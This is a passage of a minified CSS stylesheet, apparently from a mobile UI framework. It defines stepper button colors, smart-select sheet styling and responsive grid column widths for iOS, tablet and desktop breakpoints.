.stepper.color-gray.stepper-fill .stepper-button-minus:after,.md .stepper.color-gray.stepper-fill .stepper-button-minus:before,.md .stepper.color-gray.stepper-fill .stepper-button-plus:after,.md .stepper.color-gray.stepper-fill .stepper-button-plus:before,.md .stepper.color-gray.stepper-fill .stepper-button:after,.md .stepper.color-gray.stepper-fill .stepper-button:before,.md .stepper.color-gray.stepper-fill-md .stepper-button-minus:after,.md .stepper.color-gray.stepper-fill-md .stepper-button-minus:before,.md .stepper.color-gray.stepper-fill-md .stepper-button-plus:after,.md .stepper.color-gray.stepper-fill-md .stepper-button-plus:before,.md .stepper.color-gray.stepper-fill-md .stepper-button:after,.md .stepper.color-gray.stepper-fill-md .stepper-button:before{background:#fff}.md .stepper.color-white .stepper-button,.md .stepper.color-white .stepper-button-minus,.md .stepper.color-white .stepper-button-plus{border-color:#fff;color:#fff}.md .stepper.color-white .stepper-button-minus:after,.md .stepper.color-white .stepper-button-minus:before,.md .stepper.color-white .stepper-button-plus:after,.md .stepper.color-white .stepper-button-plus:before{background:#fff}.md .stepper.color-white .stepper-input-wrap,.md .stepper.color-white .stepper-value{border-top-color:#fff;border-bottom-color:#fff}.md .stepper.color-white .stepper-value{color:#fff}.md .stepper.color-white .stepper-input-wrap input{color:#fff}.md .stepper.color-white.stepper-fill .stepper-button,.md .stepper.color-white.stepper-fill .stepper-button-minus,.md .stepper.color-white.stepper-fill .stepper-button-plus,.md .stepper.color-white.stepper-fill-md .stepper-button,.md .stepper.color-white.stepper-fill-md .stepper-button-minus,.md .stepper.color-white.stepper-fill-md .stepper-button-plus{background-color:#fff;color:#fff}.md .stepper.color-white.stepper-fill .stepper-button-minus.active-state,.md .stepper.color-white.stepper-fill .stepper-button-plus.active-state,.md .stepper.color-white.stepper-fill .stepper-button.active-state,.md .stepper.color-white.stepper-fill-md .stepper-button-minus.active-state,.md .stepper.color-white.stepper-fill-md .stepper-button-plus.active-state,.md .stepper.color-white.stepper-fill-md .stepper-button.active-state{background:#ebebeb}.md .stepper.color-white.stepper-fill .stepper-button-minus:after,.md .stepper.color-white.stepper-fill .stepper-button-minus:before,.md .stepper.color-white.stepper-fill .stepper-button-plus:after,.md .stepper.color-white.stepper-fill .stepper-button-plus:before,.md .stepper.color-white.stepper-fill .stepper-button:after,.md .stepper.color-white.stepper-fill .stepper-button:before,.md .stepper.color-white.stepper-fill-md .stepper-button-minus:after,.md .stepper.color-white.stepper-fill-md .stepper-button-minus:before,.md .stepper.color-white.stepper-fill-md .stepper-button-plus:after,.md .stepper.color-white.stepper-fill-md .stepper-button-plus:before,.md .stepper.color-white.stepper-fill-md .stepper-button:after,.md .stepper.color-white.stepper-fill-md .stepper-button:before{background:#fff}.md .stepper.color-black .stepper-button,.md .stepper.color-black .stepper-button-minus,.md .stepper.color-black .stepper-button-plus{border-color:#000;color:#000}.md .stepper.color-black .stepper-button-minus:after,.md .stepper.color-black .stepper-button-minus:before,.md .stepper.color-black .stepper-button-plus:after,.md .stepper.color-black .stepper-button-plus:before{background:#000}.md .stepper.color-black .stepper-input-wrap,.md .stepper.color-black .stepper-value{border-top-color:#000;border-bottom-color:#000}.md .stepper.color-black .stepper-value{color:#000}.md .stepper.color-black .stepper-input-wrap input{color:#000}.md .stepper.color-black.stepper-fill .stepper-button,.md .stepper.color-black.stepper-fill .stepper-button-minus,.md .stepper.color-black.stepper-fill .stepper-button-plus,.md .stepper.color-black.stepper-fill-md .stepper-button,.md .stepper.color-black.stepper-fill-md .stepper-button-minus,.md .stepper.color-black.stepper-fill-md .stepper-button-plus{background-color:#000;color:#fff}.md .stepper.color-black.stepper-fill .stepper-button-minus.active-state,.md .stepper.color-black.stepper-fill .stepper-button-plus.active-state,.md .stepper.color-black.stepper-fill .stepper-button.active-state,.md .stepper.color-black.stepper-fill-md .stepper-button-minus.active-state,.md .stepper.color-black.stepper-fill-md .stepper-button-plus.active-state,.md .stepper.color-black.stepper-fill-md .stepper-button.active-state{background:#000}.md .stepper.color-black.stepper-fill .stepper-button-minus:after,.md .stepper.color-black.stepper-fill .stepper-button-minus:before,.md .stepper.color-black.stepper-fill .stepper-button-plus:after,.md .stepper.color-black.stepper-fill .stepper-button-plus:before,.md .stepper.color-black.stepper-fill .stepper-button:after,.md .stepper.color-black.stepper-fill .stepper-button:before,.md .stepper.color-black.stepper-fill-md .stepper-button-minus:after,.md .stepper.color-black.stepper-fill-md .stepper-button-minus:before,.md .stepper.color-black.stepper-fill-md .stepper-button-plus:after,.md .stepper.color-black.stepper-fill-md .stepper-button-plus:before,.md .stepper.color-black.stepper-fill-md .stepper-button:after,.md .stepper.color-black.stepper-fill-md .stepper-button:before{background:#fff}.smart-select select{display:none}.smart-select .item-after{max-width:70%;overflow:hidden;text-overflow:ellipsis;position:relative;display:block}.sheet-modal.smart-select-sheet .sheet-modal-inner{background:#fff}.sheet-modal.smart-select-sheet .list{margin:0}.sheet-modal.smart-select-sheet .list ul:before{display:none!important}.sheet-modal.smart-select-sheet .list ul:after{display:none!important}.smart-select-popover .popover-inner{max-height:40vh}.ios .smart-select-sheet .page{background:#fff}.ios .smart-select-sheet .toolbar:after{content:'';position:absolute;background-color:#c4c4c4;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .smart-select-sheet .toolbar:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .smart-select-sheet .toolbar:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .theme-dark .smart-select-sheet .page,.ios .theme-dark .smart-select-sheet .sheet-modal-inner{background-color:#1c1c1d}.ios .theme-dark .smart-select-sheet .toolbar:after{background-color:#282829}.md .theme-dark .sheet-modal.smart-select-sheet .sheet-modal-inner{background-color:transparent}.row{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-align:start;-webkit-align-items:flex-start;-ms-flex-align:start;align-items:flex-start}.row>.col,.row>[class*=col-]{-webkit-box-sizing:border-box;box-sizing:border-box}.row .col{width:100%}.ios .row .col-100{width:100%;width:calc((100% - 15px*0)/ 1)}.ios .row.no-gap .col-100{width:100%}.ios .row .col-95{width:95%;width:calc((100% - 15px*.05263157894736836)/ 1.0526315789473684)}.ios .row.no-gap .col-95{width:95%}.ios .row .col-90{width:90%;width:calc((100% - 15px*.11111111111111116)/ 1.1111111111111112)}.ios .row.no-gap .col-90{width:90%}.ios .row .col-85{width:85%;width:calc((100% - 15px*.17647058823529416)/ 1.1764705882352942)}.ios .row.no-gap .col-85{width:85%}.ios .row .col-80{width:80%;width:calc((100% - 15px*.25)/ 1.25)}.ios .row.no-gap .col-80{width:80%}.ios .row .col-75{width:75%;width:calc((100% - 15px*.33333333333333326)/ 1.3333333333333333)}.ios .row.no-gap .col-75{width:75%}.ios .row .col-70{width:70%;width:calc((100% - 15px*.4285714285714286)/ 1.4285714285714286)}.ios .row.no-gap .col-70{width:70%}.ios .row .col-66{width:66.66666666666666%;width:calc((100% - 15px*.5000000000000002)/ 1.5000000000000002)}.ios .row.no-gap .col-66{width:66.66666666666666%}.ios .row .col-65{width:65%;width:calc((100% - 15px*.5384615384615385)/ 1.5384615384615385)}.ios .row.no-gap .col-65{width:65%}.ios .row .col-60{width:60%;width:calc((100% - 15px*.6666666666666667)/ 1.6666666666666667)}.ios .row.no-gap .col-60{width:60%}.ios .row .col-55{width:55%;width:calc((100% - 15px*.8181818181818181)/ 1.8181818181818181)}.ios .row.no-gap .col-55{width:55%}.ios .row .col-50{width:50%;width:calc((100% - 15px*1)/ 2)}.ios .row.no-gap .col-50{width:50%}.ios .row .col-45{width:45%;width:calc((100% - 15px*1.2222222222222223)/ 2.2222222222222223)}.ios .row.no-gap .col-45{width:45%}.ios .row .col-40{width:40%;width:calc((100% - 15px*1.5)/ 2.5)}.ios .row.no-gap .col-40{width:40%}.ios .row .col-35{width:35%;width:calc((100% - 15px*1.8571428571428572)/ 2.857142857142857)}.ios .row.no-gap .col-35{width:35%}.ios .row .col-33{width:33.333333333333336%;width:calc((100% - 15px*2)/ 3)}.ios .row.no-gap .col-33{width:33.333333333333336%}.ios .row .col-30{width:30%;width:calc((100% - 15px*2.3333333333333335)/ 3.3333333333333335)}.ios .row.no-gap .col-30{width:30%}.ios .row .col-25{width:25%;width:calc((100% - 15px*3)/ 4)}.ios .row.no-gap .col-25{width:25%}.ios .row .col-20{width:20%;width:calc((100% - 15px*4)/ 5)}.ios .row.no-gap .col-20{width:20%}.ios .row .col-15{width:15%;width:calc((100% - 15px*5.666666666666667)/ 6.666666666666667)}.ios .row.no-gap .col-15{width:15%}.ios .row .col-10{width:10%;width:calc((100% - 15px*9)/ 10)}.ios .row.no-gap .col-10{width:10%}.ios .row .col-5{width:5%;width:calc((100% - 15px*19)/ 20)}.ios .row.no-gap .col-5{width:5%}.ios .row .col:nth-last-child(1),.ios .row .col:nth-last-child(1)~.col{width:100%;width:calc((100% - 15px*0)/ 1)}.ios .row.no-gap .col:nth-last-child(1),.ios .row.no-gap .col:nth-last-child(1)~.col{width:100%}.ios .row .col:nth-last-child(2),.ios .row .col:nth-last-child(2)~.col{width:50%;width:calc((100% - 15px*1)/ 2)}.ios .row.no-gap .col:nth-last-child(2),.ios .row.no-gap .col:nth-last-child(2)~.col{width:50%}.ios .row .col:nth-last-child(3),.ios .row .col:nth-last-child(3)~.col{width:33.33333333%;width:calc((100% - 15px*2)/ 3)}.ios .row.no-gap .col:nth-last-child(3),.ios .row.no-gap .col:nth-last-child(3)~.col{width:33.33333333%}.ios .row .col:nth-last-child(4),.ios .row .col:nth-last-child(4)~.col{width:25%;width:calc((100% - 15px*3)/ 4)}.ios .row.no-gap .col:nth-last-child(4),.ios .row.no-gap .col:nth-last-child(4)~.col{width:25%}.ios .row .col:nth-last-child(5),.ios .row .col:nth-last-child(5)~.col{width:20%;width:calc((100% - 15px*4)/ 5)}.ios .row.no-gap .col:nth-last-child(5),.ios .row.no-gap .col:nth-last-child(5)~.col{width:20%}.ios .row .col:nth-last-child(6),.ios .row .col:nth-last-child(6)~.col{width:16.66666667%;width:calc((100% - 15px*5)/ 6)}.ios .row.no-gap .col:nth-last-child(6),.ios .row.no-gap .col:nth-last-child(6)~.col{width:16.66666667%}.ios .row .col:nth-last-child(7),.ios .row .col:nth-last-child(7)~.col{width:14.28571429%;width:calc((100% - 15px*6)/ 7)}.ios .row.no-gap .col:nth-last-child(7),.ios .row.no-gap .col:nth-last-child(7)~.col{width:14.28571429%}.ios .row .col:nth-last-child(8),.ios .row .col:nth-last-child(8)~.col{width:12.5%;width:calc((100% - 15px*7)/ 8)}.ios .row.no-gap .col:nth-last-child(8),.ios .row.no-gap .col:nth-last-child(8)~.col{width:12.5%}.ios .row .col:nth-last-child(9),.ios .row .col:nth-last-child(9)~.col{width:11.11111111%;width:calc((100% - 15px*8)/ 9)}.ios .row.no-gap .col:nth-last-child(9),.ios .row.no-gap .col:nth-last-child(9)~.col{width:11.11111111%}.ios .row .col:nth-last-child(10),.ios .row .col:nth-last-child(10)~.col{width:10%;width:calc((100% - 15px*9)/ 10)}.ios .row.no-gap .col:nth-last-child(10),.ios .row.no-gap .col:nth-last-child(10)~.col{width:10%}.ios .row .col:nth-last-child(11),.ios .row .col:nth-last-child(11)~.col{width:9.09090909%;width:calc((100% - 15px*10)/ 11)}.ios .row.no-gap .col:nth-last-child(11),.ios .row.no-gap .col:nth-last-child(11)~.col{width:9.09090909%}.ios .row .col:nth-last-child(12),.ios .row .col:nth-last-child(12)~.col{width:8.33333333%;width:calc((100% - 15px*11)/ 12)}.ios .row.no-gap .col:nth-last-child(12),.ios .row.no-gap .col:nth-last-child(12)~.col{width:8.33333333%}.ios .row .col:nth-last-child(13),.ios .row .col:nth-last-child(13)~.col{width:7.69230769%;width:calc((100% - 15px*12)/ 13)}.ios .row.no-gap .col:nth-last-child(13),.ios .row.no-gap .col:nth-last-child(13)~.col{width:7.69230769%}.ios .row .col:nth-last-child(14),.ios .row .col:nth-last-child(14)~.col{width:7.14285714%;width:calc((100% - 15px*13)/ 14)}.ios .row.no-gap .col:nth-last-child(14),.ios .row.no-gap .col:nth-last-child(14)~.col{width:7.14285714%}.ios .row .col:nth-last-child(15),.ios .row .col:nth-last-child(15)~.col{width:6.66666667%;width:calc((100% - 15px*14)/ 15)}.ios .row.no-gap .col:nth-last-child(15),.ios .row.no-gap .col:nth-last-child(15)~.col{width:6.66666667%}.ios .row .col:nth-last-child(16),.ios .row .col:nth-last-child(16)~.col{width:6.25%;width:calc((100% - 15px*15)/ 16)}.ios .row.no-gap .col:nth-last-child(16),.ios .row.no-gap .col:nth-last-child(16)~.col{width:6.25%}.ios .row .col:nth-last-child(17),.ios .row .col:nth-last-child(17)~.col{width:5.88235294%;width:calc((100% - 15px*16)/ 17)}.ios .row.no-gap .col:nth-last-child(17),.ios .row.no-gap .col:nth-last-child(17)~.col{width:5.88235294%}.ios .row .col:nth-last-child(18),.ios .row .col:nth-last-child(18)~.col{width:5.55555556%;width:calc((100% - 15px*17)/ 18)}.ios .row.no-gap .col:nth-last-child(18),.ios .row.no-gap .col:nth-last-child(18)~.col{width:5.55555556%}.ios .row .col:nth-last-child(19),.ios .row .col:nth-last-child(19)~.col{width:5.26315789%;width:calc((100% - 15px*18)/ 19)}.ios .row.no-gap .col:nth-last-child(19),.ios .row.no-gap .col:nth-last-child(19)~.col{width:5.26315789%}.ios .row .col:nth-last-child(20),.ios .row .col:nth-last-child(20)~.col{width:5%;width:calc((100% - 15px*19)/ 20)}.ios .row.no-gap .col:nth-last-child(20),.ios .row.no-gap .col:nth-last-child(20)~.col{width:5%}.ios .row .col:nth-last-child(21),.ios .row .col:nth-last-child(21)~.col{width:4.76190476%;width:calc((100% - 15px*20)/ 21)}.ios .row.no-gap .col:nth-last-child(21),.ios .row.no-gap .col:nth-last-child(21)~.col{width:4.76190476%}@media (min-width:768px){.ios .row .tablet-100{width:100%;width:calc((100% - 15px*0)/ 1)}.ios .row.no-gap .tablet-100{width:100%}.ios .row .tablet-95{width:95%;width:calc((100% - 15px*.05263157894736836)/ 1.0526315789473684)}.ios .row.no-gap .tablet-95{width:95%}.ios .row .tablet-90{width:90%;width:calc((100% - 15px*.11111111111111116)/ 1.1111111111111112)}.ios .row.no-gap .tablet-90{width:90%}.ios .row .tablet-85{width:85%;width:calc((100% - 15px*.17647058823529416)/ 1.1764705882352942)}.ios .row.no-gap .tablet-85{width:85%}.ios .row .tablet-80{width:80%;width:calc((100% - 15px*.25)/ 1.25)}.ios .row.no-gap .tablet-80{width:80%}.ios .row .tablet-75{width:75%;width:calc((100% - 15px*.33333333333333326)/ 1.3333333333333333)}.ios .row.no-gap .tablet-75{width:75%}.ios .row .tablet-70{width:70%;width:calc((100% - 15px*.4285714285714286)/ 1.4285714285714286)}.ios .row.no-gap .tablet-70{width:70%}.ios .row .tablet-66{width:66.66666666666666%;width:calc((100% - 15px*.5000000000000002)/ 1.5000000000000002)}.ios .row.no-gap .tablet-66{width:66.66666666666666%}.ios .row .tablet-65{width:65%;width:calc((100% - 15px*.5384615384615385)/ 1.5384615384615385)}.ios .row.no-gap .tablet-65{width:65%}.ios .row .tablet-60{width:60%;width:calc((100% - 15px*.6666666666666667)/ 1.6666666666666667)}.ios .row.no-gap .tablet-60{width:60%}.ios .row .tablet-55{width:55%;width:calc((100% - 15px*.8181818181818181)/ 1.8181818181818181)}.ios .row.no-gap .tablet-55{width:55%}.ios .row .tablet-50{width:50%;width:calc((100% - 15px*1)/ 2)}.ios .row.no-gap .tablet-50{width:50%}.ios .row .tablet-45{width:45%;width:calc((100% - 15px*1.2222222222222223)/ 2.2222222222222223)}.ios .row.no-gap .tablet-45{width:45%}.ios .row .tablet-40{width:40%;width:calc((100% - 15px*1.5)/ 2.5)}.ios .row.no-gap .tablet-40{width:40%}.ios .row .tablet-35{width:35%;width:calc((100% - 15px*1.8571428571428572)/ 2.857142857142857)}.ios .row.no-gap .tablet-35{width:35%}.ios .row .tablet-33{width:33.333333333333336%;width:calc((100% - 15px*2)/ 3)}.ios .row.no-gap .tablet-33{width:33.333333333333336%}.ios .row .tablet-30{width:30%;width:calc((100% - 15px*2.3333333333333335)/ 3.3333333333333335)}.ios .row.no-gap .tablet-30{width:30%}.ios .row .tablet-25{width:25%;width:calc((100% - 15px*3)/ 4)}.ios .row.no-gap .tablet-25{width:25%}.ios .row .tablet-20{width:20%;width:calc((100% - 15px*4)/ 5)}.ios .row.no-gap .tablet-20{width:20%}.ios .row .tablet-15{width:15%;width:calc((100% - 15px*5.666666666666667)/ 6.666666666666667)}.ios .row.no-gap .tablet-15{width:15%}.ios .row .tablet-10{width:10%;width:calc((100% - 15px*9)/ 10)}.ios .row.no-gap .tablet-10{width:10%}.ios .row .tablet-5{width:5%;width:calc((100% - 15px*19)/ 20)}.ios .row.no-gap .tablet-5{width:5%}.ios .row .tablet-auto:nth-last-child(1),.ios .row .tablet-auto:nth-last-child(1)~.tablet-auto{width:100%;width:calc((100% - 15px*0)/ 1)}.ios .row.no-gap .tablet-auto:nth-last-child(1),.ios .row.no-gap .tablet-auto:nth-last-child(1)~.tablet-auto{width:100%}.ios .row .tablet-auto:nth-last-child(2),.ios .row .tablet-auto:nth-last-child(2)~.tablet-auto{width:50%;width:calc((100% - 15px*1)/ 2)}.ios .row.no-gap .tablet-auto:nth-last-child(2),.ios .row.no-gap .tablet-auto:nth-last-child(2)~.tablet-auto{width:50%}.ios .row .tablet-auto:nth-last-child(3),.ios .row .tablet-auto:nth-last-child(3)~.tablet-auto{width:33.33333333%;width:calc((100% - 15px*2)/ 3)}.ios .row.no-gap .tablet-auto:nth-last-child(3),.ios .row.no-gap .tablet-auto:nth-last-child(3)~.tablet-auto{width:33.33333333%}.ios .row .tablet-auto:nth-last-child(4),.ios .row .tablet-auto:nth-last-child(4)~.tablet-auto{width:25%;width:calc((100% - 15px*3)/ 4)}.ios .row.no-gap .tablet-auto:nth-last-child(4),.ios .row.no-gap .tablet-auto:nth-last-child(4)~.tablet-auto{width:25%}.ios .row .tablet-auto:nth-last-child(5),.ios .row .tablet-auto:nth-last-child(5)~.tablet-auto{width:20%;width:calc((100% - 15px*4)/ 5)}.ios .row.no-gap .tablet-auto:nth-last-child(5),.ios .row.no-gap .tablet-auto:nth-last-child(5)~.tablet-auto{width:20%}.ios .row .tablet-auto:nth-last-child(6),.ios .row .tablet-auto:nth-last-child(6)~.tablet-auto{width:16.66666667%;width:calc((100% - 15px*5)/ 6)}.ios .row.no-gap .tablet-auto:nth-last-child(6),.ios .row.no-gap .tablet-auto:nth-last-child(6)~.tablet-auto{width:16.66666667%}.ios .row .tablet-auto:nth-last-child(7),.ios .row .tablet-auto:nth-last-child(7)~.tablet-auto{width:14.28571429%;width:calc((100% - 15px*6)/ 7)}.ios .row.no-gap .tablet-auto:nth-last-child(7),.ios .row.no-gap .tablet-auto:nth-last-child(7)~.tablet-auto{width:14.28571429%}.ios .row .tablet-auto:nth-last-child(8),.ios .row .tablet-auto:nth-last-child(8)~.tablet-auto{width:12.5%;width:calc((100% - 15px*7)/ 8)}.ios .row.no-gap .tablet-auto:nth-last-child(8),.ios .row.no-gap .tablet-auto:nth-last-child(8)~.tablet-auto{width:12.5%}.ios .row .tablet-auto:nth-last-child(9),.ios .row .tablet-auto:nth-last-child(9)~.tablet-auto{width:11.11111111%;width:calc((100% - 15px*8)/ 9)}.ios .row.no-gap .tablet-auto:nth-last-child(9),.ios .row.no-gap .tablet-auto:nth-last-child(9)~.tablet-auto{width:11.11111111%}.ios .row .tablet-auto:nth-last-child(10),.ios .row .tablet-auto:nth-last-child(10)~.tablet-auto{width:10%;width:calc((100% - 15px*9)/ 10)}.ios .row.no-gap .tablet-auto:nth-last-child(10),.ios .row.no-gap .tablet-auto:nth-last-child(10)~.tablet-auto{width:10%}.ios .row .tablet-auto:nth-last-child(11),.ios .row .tablet-auto:nth-last-child(11)~.tablet-auto{width:9.09090909%;width:calc((100% - 15px*10)/ 11)}.ios .row.no-gap .tablet-auto:nth-last-child(11),.ios .row.no-gap .tablet-auto:nth-last-child(11)~.tablet-auto{width:9.09090909%}.ios .row .tablet-auto:nth-last-child(12),.ios .row .tablet-auto:nth-last-child(12)~.tablet-auto{width:8.33333333%;width:calc((100% - 15px*11)/ 12)}.ios .row.no-gap .tablet-auto:nth-last-child(12),.ios .row.no-gap .tablet-auto:nth-last-child(12)~.tablet-auto{width:8.33333333%}.ios .row .tablet-auto:nth-last-child(13),.ios .row .tablet-auto:nth-last-child(13)~.tablet-auto{width:7.69230769%;width:calc((100% - 15px*12)/ 13)}.ios .row.no-gap .tablet-auto:nth-last-child(13),.ios .row.no-gap .tablet-auto:nth-last-child(13)~.tablet-auto{width:7.69230769%}.ios .row .tablet-auto:nth-last-child(14),.ios .row .tablet-auto:nth-last-child(14)~.tablet-auto{width:7.14285714%;width:calc((100% - 15px*13)/ 14)}.ios .row.no-gap .tablet-auto:nth-last-child(14),.ios .row.no-gap .tablet-auto:nth-last-child(14)~.tablet-auto{width:7.14285714%}.ios .row .tablet-auto:nth-last-child(15),.ios .row .tablet-auto:nth-last-child(15)~.tablet-auto{width:6.66666667%;width:calc((100% - 15px*14)/ 15)}.ios .row.no-gap .tablet-auto:nth-last-child(15),.ios .row.no-gap .tablet-auto:nth-last-child(15)~.tablet-auto{width:6.66666667%}.ios .row .tablet-auto:nth-last-child(16),.ios .row .tablet-auto:nth-last-child(16)~.tablet-auto{width:6.25%;width:calc((100% - 15px*15)/ 16)}.ios .row.no-gap .tablet-auto:nth-last-child(16),.ios .row.no-gap .tablet-auto:nth-last-child(16)~.tablet-auto{width:6.25%}.ios .row .tablet-auto:nth-last-child(17),.ios .row .tablet-auto:nth-last-child(17)~.tablet-auto{width:5.88235294%;width:calc((100% - 15px*16)/ 17)}.ios .row.no-gap .tablet-auto:nth-last-child(17),.ios .row.no-gap .tablet-auto:nth-last-child(17)~.tablet-auto{width:5.88235294%}.ios .row .tablet-auto:nth-last-child(18),.ios .row .tablet-auto:nth-last-child(18)~.tablet-auto{width:5.55555556%;width:calc((100% - 15px*17)/ 18)}.ios .row.no-gap .tablet-auto:nth-last-child(18),.ios .row.no-gap .tablet-auto:nth-last-child(18)~.tablet-auto{width:5.55555556%}.ios .row .tablet-auto:nth-last-child(19),.ios .row .tablet-auto:nth-last-child(19)~.tablet-auto{width:5.26315789%;width:calc((100% - 15px*18)/ 19)}.ios .row.no-gap .tablet-auto:nth-last-child(19),.ios .row.no-gap .tablet-auto:nth-last-child(19)~.tablet-auto{width:5.26315789%}.ios .row .tablet-auto:nth-last-child(20),.ios .row .tablet-auto:nth-last-child(20)~.tablet-auto{width:5%;width:calc((100% - 15px*19)/ 20)}.ios .row.no-gap .tablet-auto:nth-last-child(20),.ios .row.no-gap .tablet-auto:nth-last-child(20)~.tablet-auto{width:5%}.ios .row .tablet-auto:nth-last-child(21),.ios .row .tablet-auto:nth-last-child(21)~.tablet-auto{width:4.76190476%;width:calc((100% - 15px*20)/ 21)}.ios .row.no-gap .tablet-auto:nth-last-child(21),.ios .row.no-gap .tablet-auto:nth-last-child(21)~.tablet-auto{width:4.76190476%}}@media (min-width:1025px){.ios .row .desktop-100{width:100%;width:calc((100% - 15px*0)/ 1)}.ios .row.no-gap .desktop-100{width:100%}.ios .row .desktop-95{width:95%;width:calc((100% - 15px*.05263157894736836)/ 1.0526315789473684)}.ios .row.no-gap .desktop-95{width:95%}.ios .row .desktop-90{width:90%;width:calc((100% - 15px*.11111111111111116)/ 1.1111111111111112)}.ios .row.no-gap .desktop-90{width:90%}.ios .row .desktop-85{width:85%;width:calc((100% - 15px*.17647058823529416)/ 1.1764705882352942)}.ios .row.no-gap .desktop-85{width:85%}.ios .row .desktop-80{width:80%;width:calc((100% - 15px*.25)/ 1.25)}.ios .row.no-gap .desktop-80{width:80%}.ios .row .desktop-75{width:75%;width:calc((100% - 15px*.33333333333333326)/ 1.3333333333333333)}.ios .row.no-gap .desktop-75{width:75%}.ios .row .desktop-70{width:70%;width:calc((100% - 15px*.4285714285714286)/ 1.4285714285714286)}.ios .row.no-gap .desktop-70{width:70%}.ios .row .desktop-66{width:66.66666666666666%;width:calc((100% - 15px*.5000000000000002)/ 1.5000000000000002)}.ios .row.no-gap .desktop-66{width:66.66666666666666%}.ios .row .desktop-65{width:65%;width:calc((100% - 15px*.5384615384615385)/ 1.5384615384615385)}.ios .row.no-gap .desktop-65{width:65%}.ios .row .desktop-60{width:60%;width:calc((100% - 15px*.6666666666666667)/ 1.6666666666666667)}.ios .row.no-gap .desktop-60{width:60%}.ios .row .desktop-55{width:55%;width:calc((100% - 15px*.8181818181818181)/ 1.8181818181818181)}.ios .row.no-gap .desktop-55{width:55%}.ios .row .desktop-50{width:50%;width:calc((100% - 15px*1)/ 2)}.ios .row.no-gap .desktop-50{width:50%}.ios .row .desktop-45{width:45%;width:calc((100% - 15px*1.2222222222222223)/ 2.2222222222222223)}.ios .row.no-gap .desktop-45{width:45%}.ios .row .desktop-40{width:40%;width:calc((100% - 15px*1.5)/ 2.5)}.ios .row.no-gap .desktop-40{width:40%}.ios .row .desktop-35{width:35%;width:calc((100% - 15px*1.8571428571428572)/ 2.857142857142857)}.ios .row.no-gap .desktop-35{width:35%}.ios .row .desktop-33{width:33.333333333333336%;width:calc((100% - 15px*2)/ 3)}.ios .row.no-gap .desktop-33{width:33.333333333333336%}.ios .row .desktop-30{width:30%;width:calc((100% - 15px*2.3333333333333335)/ 3.3333333333333335)}.ios .row.no-gap .desktop-30{width:30%}.ios .row .desktop-25{width:25%;width:calc((100% - 15px*3)/ 4)}.ios .row.no-gap .desktop-25{width:25%}.ios .row .desktop-20{width:20%;width:calc((100% - 15px*4)/ 5)}.ios .row.no-gap .desktop-20{width:20%}.ios .row .desktop-15{width:15%;width:calc((100% - 15px*5.666666666666667)/ 6.666666666666667)}.ios .row.no-gap .desktop-15{width:15%}.ios .row .desktop-10{width:10%;width:calc((100% - 15px*9)/ 10)}.ios .row.no-gap .desktop-10{width:10%}.ios .row .desktop-5{width:5%;width:calc((100% - 15px*19)/ 20)}.ios .row.no-gap .desktop-5{width:5%}.ios .row .desktop-auto:nth-last-child(1),.ios .row .desktop-auto:nth-last-child(1)~.desktop-auto{width:100%;width:calc((100% - 15px*0)/ 1)}.ios .row.no-gap .desktop-auto:nth-last-child(1),.ios .row.no-gap .desktop-auto:nth-last-child(1)~.desktop-auto{width:100%}.ios .row .desktop-auto:nth-last-child(2),.ios .row .desktop-auto:nth-last-child(2)~.desktop-auto{width:50%;width:calc((100% - 15px*1)/ 2)}.ios .row.no-gap .desktop-auto:nth-last-child(2),.ios .row.no-gap .desktop-auto:nth-last-child(2)~.desktop-auto{width:50%}.ios .row .desktop-auto:nth-last-child(3),.ios .row .desktop-auto:nth-last-child(3)~.desktop-auto{width:33.33333333%;width:calc((100% - 15px*2)/ 3)}.ios .row.no-gap .desktop-auto:nth-last-child(3),.ios .row.no-gap .desktop-auto:nth-last-child(3)~.desktop-auto{width:33.33333333%}.ios .row .desktop-auto:nth-last-child(4),.ios .row .desktop-auto:nth-last-child(4)~.desktop-auto{width:25%;width:calc((100% - 15px*3)/ 4)}.ios .row.no-gap .desktop-auto:nth-last-child(4),.ios .row.no-gap .desktop-auto:nth-last-child(4)~.desktop-auto{width:25%}.ios .row .desktop-auto:nth-last-child(5),.ios .row .desktop-auto:nth-last-child(5)~.desktop-auto{width:20%;width:calc((100% - 15px*4)/ 5)}.ios .row.no-gap .desktop-auto:nth-last-child(5),.ios .row.no-gap .desktop-auto:nth-last-child(5)~.desktop-auto{width:20%}.ios .row .desktop-auto:nth-last-child(6),.ios .row .desktop-auto:nth-last-child(6)~.desktop-auto{width:16.66666667%;width:calc((100% - 15px*5)/ 6)}.ios .row.no-gap .desktop-auto:nth-last-child(6),.ios .row.no-gap .desktop-auto:nth-last-child(6)~.desktop-auto{width:16.66666667%}.ios .row .desktop-auto:nth-last-child(7),.ios .row .desktop-auto:nth-last-child(7)~.desktop-auto{width:14.28571429%;width:calc((100% - 15px*6)/ 7)}.ios .row.no-gap .desktop-auto:nth-last-child(7),.ios .row.no-gap .desktop-auto:nth-last-child(7)~.desktop-auto{width:14.28571429%}.ios .row .desktop-auto:nth-last-child(8),.ios .row .desktop-auto:nth-last-child(8)~.desktop-auto{width:12.5%;width:calc((100% - 15px*7)/ 8)}.ios .row.no-gap .desktop-auto:nth-last-child(8),.ios .row.no-gap .desktop-auto:nth-last-child(8)~.desktop-auto{width:12.5%}.ios .row .desktop-auto:nth-last-child(9),.ios .row .desktop-auto:nth-last-child(9)~.desktop-auto{width:11.11111111%;width:calc((100% - 15px*8)/ 9)}.ios .row.no-gap .desktop-auto:nth-last-child(9),.ios .row.no-gap .desktop-auto:nth-last-child(9)~.desktop-auto{width:11.11111111%}.ios .row .desktop-auto:nth-last-child(10),.ios .row .desktop-auto:nth-last-child(10)~.desktop-auto{width:10%;width:calc((100% - 15px*9)/ 10)}.ios .row.no-gap .desktop-auto:nth-last-child(10),.ios .row.no-gap .desktop-auto:nth-last-child(10)~.desktop-auto{width:10%}.ios .row .desktop-auto:nth-last-child(11),.ios .row .desktop-auto:nth-last-child(11)~.desktop-auto{width:9.09090909%;width:calc((100% - 15px*10)/ 11)}.ios .row.no-gap .desktop-auto:nth-last-child(11),.ios .row.no-gap .desktop-auto:nth-last-child(11)~.desktop-auto{width:9.09090909%}.ios .row 